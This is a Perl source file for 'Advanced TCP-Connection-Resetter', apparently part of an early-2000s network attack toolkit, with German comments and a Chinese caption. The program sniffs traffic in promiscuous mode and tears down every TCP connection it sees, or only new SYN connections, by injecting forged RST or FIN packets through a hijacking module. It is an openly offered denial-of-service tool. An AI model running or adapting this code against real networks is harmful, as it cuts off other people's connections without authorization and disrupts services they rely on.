easterrst.pl

一个rst守护程序

#!/usr/bin/perl
# Advanced TCP-Connection-Resetter
#
# Autor: [e-mail]
# TheMidget
#
# Lizenz: GPL
#
# Heavily updated by Bastian Ballmann [[e-mail]]
#
# Last Update: 28.11.2002
############################################################################


###[ Loading Modules ]###

use path::config;   # Checking config
use path::hijack;   # Hijacking stuff
use Getopt::Std;    # Parsing parameter
use Net::PcapUtils; # Sniffin around


###[ MAIN PART ]###

# User needs help
if($ARGV[0] eq "--help")
{
    &help();
}


# Starte die GUI Version
if($ARGV[0] eq "--gui")
{
    require "easterrst-gui.pl";
}
else
{
# Parsing parameter
getopts('h:c:p:i:t:srf',\%args);
&start(%args);
}




###[ Subroutines ]###

# Start the process
sub start
{
    my %args = @_;

# Create a new config object
    $cfg = config->new();

# Config verarbeiten
    $cfg->check(%args);

# Achtung Werbung!!! =)
unless($ARGV[0] eq "--gui")
{
    &about();
}


# Target und connection gleichzeit als Parameter angegeben
if( (defined $args{'h'}) && (defined $args{'c'}) )
{
    &help('toomuch');
}

# Reset via FIN?
if($args{'f'})
{
    $reset_flag = "fin";
}
else
{
    $reset_flag = "rst";
}


# Reset only SYN packets?
if($args{s})
{
    $reset_syn = 1;
}
else
{
    $reset_syn = 0;
}


# GUI neu zeichnen
if($ARGV[0] eq "--gui")
{
    $result->insert(end," * Started RST deamon\n");
    $top->update();
}

# Create a pcap expression
$pcap = $cfg->pcap();

if($pcap ne "")
{
    $pcap .= "and tcp";
}
else
{
    $pcap = "tcp";
}

print "\n       Sniffing $pcap on " . $cfg->get_device . "\n";

if($reset_syn)
{
    print "       Resetting only SYN packets with $reset_flag packets\n\n";
}
else
{
    print "       Resetting all packets with $reset_flag packets\n\n";
}


# Sniffen!!! Gesundheit =)
Net::PcapUtils::loop(\&process_pkt,
                     PROMISC => 1, 
                     FILTER => $pcap,
                     DEV => $cfg->get_device
                    );

}


# Funktion "process_pkt($arg, $hdr, $pkt)" wird f黵 jedes
# eingefangene Paket aufgerufen
sub process_pkt {
  my($arg, $hdr, $pkt) = @_;

# GUI neu zeichnen
if($ARGV[0] eq "--gui")
{
    $top->update();
}

# Create a hijack object?
if($connection)
{
    $connection->update($pkt); 
}
else
{
   $connection = hijack->new($pkt);
}

# Ist das Packet ein RST Packet?
# Wir resetten kein RST, wir sind ja nicht bloed! =)
unless($connection->check_flag($pkt,"rst"))
{
    # Sollen nur SYN Pakete resettet werden?
    if($reset_syn)
    {
	# Hat das Paket das SYN Flag gesetzt?
	if($connection->check_flag($packet,"syn"))
	{
	    $connection->reset($reset_flag);
	}
    }
    else
    {
	$connection->reset($reset_flag);
    }
}
}



# Print Usage
sub help
{
    my $error = shift;

    &about();

if($error eq "toomuch")
{
    print ">>>  Please choose either target or connection!\n\n";
}

    print ">>> Usage: $0 -f -r -s -i <device> -p <port> -h <hosts> -c <connection>\n\n";
    print "    -f: Reset connection via FIN packet\n";
    print "    -r: Reset connection via RST packet (default)\n";
    print "    -s: Reset only SYN packets\n";
    exit(0);
}


# Print about
sub about
{
# Achtung Werbung!!! =)
system"/usr/bin/setterm -foreground green -background black -default";
system"/usr/bin/clear";
print "\n\n      ---------:[ Advanced TCP-Connection-Resetter\n";
print "      ---:[ Programmed by Bastian Ballmann and Stefan Krecher\n";
print "      " . "-" x 55 . "\n\n";
}